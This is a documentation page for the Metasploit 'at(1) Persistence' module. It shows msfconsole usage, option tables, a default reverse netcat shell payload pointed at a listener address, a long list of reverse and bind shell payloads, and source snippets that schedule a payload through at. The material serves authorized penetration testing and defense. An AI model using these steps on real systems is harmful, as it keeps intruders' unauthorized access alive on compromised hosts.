at(1) Persistence - Metasploit
This page contains detailed information about how to use the exploit/unix/local/at_persistence metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
Module Overview
Name: at(1) Persistence
Module: exploit/unix/local/at_persistence
Source code: modules/exploits/unix/local/at_persistence.rb
Disclosure date: 1997-01-01
Last modification time: 2021-01-21 19:59:29 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module achieves persistence by executing payloads via at(1).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/unix/local/at_persistence
msf exploit(at_persistence) > show targets
... a list of targets ...
msf exploit(at_persistence) > set TARGET target-id
msf exploit(at_persistence) > show options
... show and set options ...
msf exploit(at_persistence) > set SESSION session-id
msf exploit(at_persistence) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box
with any UNIX-like operating system with atd running. In the case of OS X, the atrun service must be launched:
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
Verification Steps
- Start msfconsole
- Exploit a box via whatever method
- Do:
use exploit/unix/local/at_persistence - Do:
set session # - Do:
set target # exploit
Options
TIME
When to run job via at(1). Changing may require WfsDelay to be adjusted.
PATH
Path to store payload to be executed by at(1). Leave unset to use mktemp.
Scenarios
This module is useful for running one-shot payloads with delayed execution. It is slightly less obvious than cron.
Go back to menu.
Msfconsole Usage
Here is how the unix/local/at_persistence exploit module looks in the msfconsole:
msf6 > use exploit/unix/local/at_persistence
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/local/at_persistence) > show info
Name: at(1) Persistence
Module: exploit/unix/local/at_persistence
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 1997-01-01
Provided by:
Jon Hart <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
TIME now no When to run job via at(1). Changing may require WfsDelay to be adjusted.
Payload information:
Description:
This module achieves persistence by executing payloads via at(1).
Module Options
This is a complete list of options available in the unix/local/at_persistence exploit:
msf6 exploit(unix/local/at_persistence) > show options
Module options (exploit/unix/local/at_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
TIME now no When to run job via at(1). Changing may require WfsDelay to be adjusted.
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the unix/local/at_persistence exploit:
msf6 exploit(unix/local/at_persistence) > show advanced
Module advanced options (exploit/unix/local/at_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
PATH no Path to store payload to be executed by at(1). Leave unset to use mktemp.
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/local/at_persistence module can exploit:
msf6 exploit(unix/local/at_persistence) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/local/at_persistence exploit:
msf6 exploit(unix/local/at_persistence) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
18 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
19 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
20 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
21 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
22 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
23 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
24 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
25 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
26 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
27 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
28 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
29 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
30 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
31 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
32 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
33 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
34 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
36 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
37 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
38 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
39 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
40 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
41 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
42 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
43 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
44 payload/generic/custom normal No Custom Payload
45 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
46 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the unix/local/at_persistence exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/local/at_persistence) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
User denied cron via at.deny
Here is a relevant code snippet related to the "User denied cron via at.deny" error message:
52: end
53: end
54:
55: def exploit
56: unless check == Exploit::CheckCode::Vulnerable
57: fail_with(Failure::NoAccess, 'User denied cron via at.deny')
58: end
59:
60: unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp')))
61: fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
62: end
Unable to find suitable location for payload
Here is a relevant code snippet related to the "Unable to find suitable location for payload" error message:
56: unless check == Exploit::CheckCode::Vulnerable
57: fail_with(Failure::NoAccess, 'User denied cron via at.deny')
58: end
59:
60: unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp')))
61: fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
62: end
63:
64: write_file(payload_file, payload.encoded)
65: register_files_for_cleanup(payload_file)
66:
Go back to menu.
Related Pull Requests
- #14640 Merged Pull Request: rubocop -a modules/exploits/unix/local/
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8940 Merged Pull Request: spelling/grammar fixes part 2
Go back to menu.
See Also
Check also the following modules related to this module:
- exploit/unix/local/chkrootkit
- exploit/unix/local/emacs_movemail
- exploit/unix/local/exim_perl_startup
- exploit/unix/local/netbsd_mail_local
- exploit/unix/local/opensmtpd_oob_read_lpe
- exploit/unix/local/setuid_nmap
- exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
- exploit/unix/fileformat/ghostscript_type_confusion
- exploit/unix/fileformat/imagemagick_delegate
- exploit/unix/fileformat/metasploit_libnotify_cmd_injection
- exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
- exploit/unix/smtp/exim4_string_format
- exploit/unix/webapp/awstats_configdir_exec
- exploit/unix/webapp/awstats_migrate_exec
- exploit/unix/webapp/awstatstotals_multisort
- exploit/unix/webapp/bolt_authenticated_rce
- exploit/unix/webapp/citrix_access_gateway_exec
- exploit/unix/webapp/datalife_preview_exec
- exploit/unix/webapp/flashchat_upload_exec
- exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
- exploit/unix/webapp/nagios3_statuswml_ping
- exploit/unix/webapp/php_vbulletin_template
- exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
- exploit/unix/webapp/wp_creativecontactform_file_upload
- exploit/unix/webapp/wp_holding_pattern_file_upload
- exploit/unix/webapp/wp_platform_exec
- exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload
Authors
- Jon Hart <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
